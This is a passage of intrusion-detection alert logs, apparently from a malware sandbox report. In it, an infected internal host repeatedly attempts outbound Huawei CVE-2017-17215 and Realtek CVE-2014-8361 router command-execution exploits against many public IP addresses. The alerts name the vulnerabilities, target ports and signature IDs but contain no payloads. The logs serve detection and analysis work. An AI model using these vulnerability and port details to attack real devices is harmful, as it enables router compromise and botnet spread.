Source Port:	55348
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.226.220.209

Timestamp:	07/20/24-23:10:46.755097
SID:	2835222
Source Port:	35330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.55.245.163

Timestamp:	07/20/24-23:10:59.029071
SID:	2829579
Source Port:	56712
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.238.143.20

Timestamp:	07/20/24-23:11:06.689532
SID:	2835222
Source Port:	38982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 113.169.82.235

Timestamp:	07/20/24-23:10:52.563890
SID:	2829579
Source Port:	51038
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.130.106.175

Timestamp:	07/20/24-23:10:39.430692
SID:	2835222
Source Port:	58302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 86.101.91.169

Timestamp:	07/20/24-23:10:51.992632
SID:	2027339
Source Port:	38926
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 111.61.149.252

Timestamp:	07/20/24-23:10:39.487319
SID:	2835222
Source Port:	45038
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 45.156.147.64

Timestamp:	07/20/24-23:10:45.231868
SID:	2027339
Source Port:	35292
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.125.126.1

Timestamp:	07/20/24-23:10:56.002189
SID:	2829579
Source Port:	54144
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.208.56.128

Timestamp:	07/20/24-23:10:41.231287
SID:	2835222
Source Port:	47936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 151.35.74.136

Timestamp:	07/20/24-23:10:49.380109
SID:	2829579
Source Port:	50710
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 196.162.5.87

Timestamp:	07/20/24-23:10:51.955556
SID:	2831300
Source Port:	41882
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 73.203.24.52

Timestamp:	07/20/24-23:10:42.630809
SID:	2027339
Source Port:	60498
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.90.20.33

Timestamp:	07/20/24-23:10:52.607833
SID:	2835222
Source Port:	58572
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 132.40.118.189

Timestamp:	07/20/24-23:10:51.950529
SID:	2831300
Source Port:	55568
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.173.171.152

Timestamp:	07/20/24-23:10:39.487319
SID:	2835222
Source Port:	50524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 47.162.26.170

Timestamp:	07/20/24-23:10:51.925000
SID:	2831300
Source Port:	48620
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.8.88.232

Timestamp:	07/20/24-23:10:46.778936
SID:	2829579
Source Port:	51900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.131.188.191

Timestamp:	07/20/24-23:10:40.662520
SID:	2835222
Source Port:	48602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.59.86.95

Timestamp:	07/20/24-23:10:42.267551
SID:	2835222
Source Port:	58026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 83.91.222.86

Timestamp:	07/20/24-23:10:52.024960
SID:	2831300
Source Port:	52202
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.123.221.145

Timestamp:	07/20/24-23:10:46.768902
SID:	2835222
Source Port:	41138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 14.49.13.245

Timestamp:	07/20/24-23:10:39.431804
SID:	2835222
Source Port:	54920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 211.213.18.108

Timestamp:	07/20/24-23:10:51.999918
SID:	2027339
Source Port:	47826
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.8.173.238

Timestamp:	07/20/24-23:10:56.021160
SID:	2829579
Source Port:	34424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 116.183.105.217

Timestamp:	07/20/24-23:10:47.935486
SID:	2027339
Source Port:	53352
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 65.246.66.79

Timestamp:	07/20/24-23:10:42.273908
SID:	2835222
Source Port:	53108
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 161.174.65.14

Timestamp:	07/20/24-23:10:51.925000
SID:	2027339
Source Port:	42642
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 19.7.44.118

Timestamp:	07/20/24-23:10:45.364728
SID:	2025132
Source Port:	54748
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.36.183.119

Timestamp:	07/20/24-23:10:39.473748
SID:	2835222
Source Port:	41076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 18.57.98.31

Timestamp:	07/20/24-23:10:42.250388
SID:	2829579
Source Port:	43018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.16.55.119

Timestamp:	07/20/24-23:10:49.404246
SID:	2829579
Source Port:	33014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 59.72.27.90

Timestamp:	07/20/24-23:10:51.898994
SID:	2831300
Source Port:	40010
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.179.64.179

Timestamp:	07/20/24-23:10:52.551688
SID:	2835222
Source Port:	35400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 32.89.4.217

Timestamp:	07/20/24-23:10:59.011093
SID:	2835222
Source Port:	59244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.146.154.155

Timestamp:	07/20/24-23:10:39.487319
SID:	2829579
Source Port:	46082
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.82.186.155

Timestamp:	07/20/24-23:10:41.231287
SID:	2835222
Source Port:	37846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.29.68.15

Timestamp:	07/20/24-23:10:40.656564
SID:	2835222
Source Port:	43508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 141.20.236.188

Timestamp:	07/20/24-23:10:51.991411
SID:	2831300
Source Port:	41228
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 90.4.66.163

Timestamp:	07/20/24-23:10:40.017556
SID:	2027339
Source Port:	37910
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 109.51.3.47

Timestamp:	07/20/24-23:10:42.640980
SID:	2831300
Source Port:	49072
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 117.128.164.33

Timestamp:	07/20/24-23:10:52.558618
SID:	2835222
Source Port:	34838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.167.3.144

Timestamp:	07/20/24-23:10:41.233111
SID:	2835222
Source Port:	33292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 114.147.236.150

Timestamp:	07/20/24-23:10:42.619459
SID:	2831300
Source Port:	48840
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 101.180.103.77

Timestamp:	07/20/24-23:10:47.775313
SID:	2025132
Source Port:	45186
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 1.209.39.62

Timestamp:	07/20/24-23:10:51.951774
SID:	2831300
Source Port:	37096
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 148.178.43.17

Timestamp:	07/20/24-23:10:52.008043
SID:	2831300
Source Port:	43144
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.249.128.39

Timestamp:	07/20/24-23:10:49.425318
SID:	2829579
Source Port:	55952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 73.156.239.191

Timestamp:	07/20/24-23:10:52.572631
SID:	2835222
Source Port:	42236
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.121.119.14

Timestamp:	07/20/24-23:11:03.371424
SID:	2835222
Source Port:	37732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 90.138.160.122

Timestamp:	07/20/24-23:10:47.568033
SID:	2027339
Source Port:	50430
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 102.181.59.60

Timestamp:	07/20/24-23:10:42.621194
SID:	2831300
Source Port:	43364
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 66.88.126.168

Timestamp:	07/20/24-23:10:44.777380
SID:	2027339
Source Port:	56364
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.255.193.251

Timestamp:	07/20/24-23:10:49.425318
SID:	2829579
Source Port:	57318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.206.206.167

Timestamp:	07/20/24-23:10:42.248539
SID:	2835222
Source Port:	54990
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 122.72.16.198

Timestamp:	07/20/24-23:10:42.255257
SID:	2835222
Source Port:	47454
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 183.71.151.25

Timestamp:	07/20/24-23:11:03.382352
SID:	2835222
Source Port:	37246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 89.171.240.248

Timestamp:	07/20/24-23:10:42.621912
SID:	2831300
Source Port:	42458
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 138.154.5.192

Timestamp:	07/20/24-23:10:59.006202
SID:	2829579
Source Port:	60616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 195.202.70.255

Timestamp:	07/20/24-23:10:51.971547
SID:	2027339
Source Port:	40236
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.229.172.214

Timestamp:	07/20/24-23:10:56.006442
SID:	2829579
Source Port:	49912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 66.88.126.168

Timestamp:	07/20/24-23:10:51.992632
SID:	2027339
Source Port:	57902
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.228.0.150

Timestamp:	07/20/24-23:11:03.361259
SID:	2829579
Source Port:	45454
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.199.57.112

Timestamp:	07/20/24-23:10:39.486941
SID:	2835222
Source Port:	38188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 131.14.103.148

Timestamp:	07/20/24-23:10:41.220534
SID:	2835222
Source Port:	57506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 183.79.5.78

Timestamp:	07/20/24-23:10:39.083165
SID:	2025132
Source Port:	43394
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.219.83.230

Timestamp:	07/20/24-23:10:39.434366
SID:	2835222
Source Port:	40632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 141.170.58.184

Timestamp:	07/20/24-23:10:43.255185
SID:	2027339
Source Port:	56624
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.158.41.236

Timestamp:	07/20/24-23:10:52.563890
SID:	2835222
Source Port:	47868
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 118.174.41.159

Timestamp:	07/20/24-23:10:41.220616
SID:	2829579
Source Port:	40428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 18.50.207.232

Timestamp:	07/20/24-23:10:39.856707
SID:	2027339
Source Port:	45686
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.147.171.117

Timestamp:	07/20/24-23:10:59.023708
SID:	2829579
Source Port:	36506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.136.185.124

Timestamp:	07/20/24-23:10:59.027427
SID:	2829579
Source Port:	60814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 217.55.96.198

Timestamp:	07/20/24-23:10:52.598915
SID:	2829579
Source Port:	47522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.35.130.251

Timestamp:	07/20/24-23:10:39.474284
SID:	2829579
Source Port:	37790
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 111.197.150.31

Timestamp:	07/20/24-23:10:46.630597
SID:	2027339
Source Port:	42888
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 65.78.88.55

Timestamp:	07/20/24-23:10:43.114223
SID:	2027339
Source Port:	47404
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.71.60.13

Timestamp:	07/20/24-23:10:46.734527
SID:	2829579
Source Port:	54616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.89.22.57

Timestamp:	07/20/24-23:11:06.696229
SID:	2829579
Source Port:	33494
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.141.241.10

Timestamp:	07/20/24-23:11:06.663147
SID:	2835222
Source Port:	35622
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.168.215.230

Timestamp:	07/20/24-23:10:49.421978
SID:	2829579
Source Port:	34292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 131.63.7.210

Timestamp:	07/20/24-23:10:47.841560
SID:	2027339
Source Port:	34964
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.15.230.22

Timestamp:	07/20/24-23:10:55.977404
SID:	2829579
Source Port:	32822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.248.10.173

Timestamp:	07/20/24-23:10:56.046357
SID:	2829579
Source Port:	35590
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.55.86.176

Timestamp:	07/20/24-23:10:39.438135
SID:	2835222
Source Port:	40404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 83.29.88.76

Timestamp:	07/20/24-23:10:51.992277
SID:	2831300
Source Port:	35210
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 2.190.145.125

Timestamp:	07/20/24-23:10:52.047583
SID:	2027339
Source Port:	36086
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.67.9.68

Timestamp:	07/20/24-23:10:58.998725
SID:	2829579
Source Port:	53324
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.102.112.70

Timestamp:	07/20/24-23:10:49.409236
SID:	2835222
Source Port:	58370
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 51.58.164.251

Timestamp:	07/20/24-23:11:03.394674
SID:	2829579
Source Port:	43368
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 13.252.226.77

Timestamp:	07/20/24-23:10:39.434366
SID:	2835222
Source Port:	47674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 72.178.188.43

Timestamp:	07/20/24-23:10:49.425318
SID:	2835222
Source Port:	43718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.174.190.33

Timestamp:	07/20/24-23:10:40.649804
SID:	2835222
Source Port:	50210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.106.203.155

Timestamp:	07/20/24-23:10:49.377082
SID:	2829579
Source Port:	41478
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.213.233.79

Timestamp:	07/20/24-23:10:46.721416
SID:	2829579
Source Port:	41634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 202.189.249.183

Timestamp:	07/20/24-23:10:52.555606
SID:	2829579
Source Port:	52694
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 209.99.231.53

Timestamp:	07/20/24-23:10:39.707918
SID:	2027339
Source Port:	48646
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 145.173.59.252

Timestamp:	07/20/24-23:11:06.686627
SID:	2835222
Source Port:	42792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 99.157.121.99

Timestamp:	07/20/24-23:11:06.678578
SID:	2829579
Source Port:	44228
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 97.164.50.55

Timestamp:	07/20/24-23:10:44.166369
SID:	2025132
Source Port:	34916
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 213.170.158.66

Timestamp:	07/20/24-23:10:56.024382
SID:	2835222
Source Port:	55890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

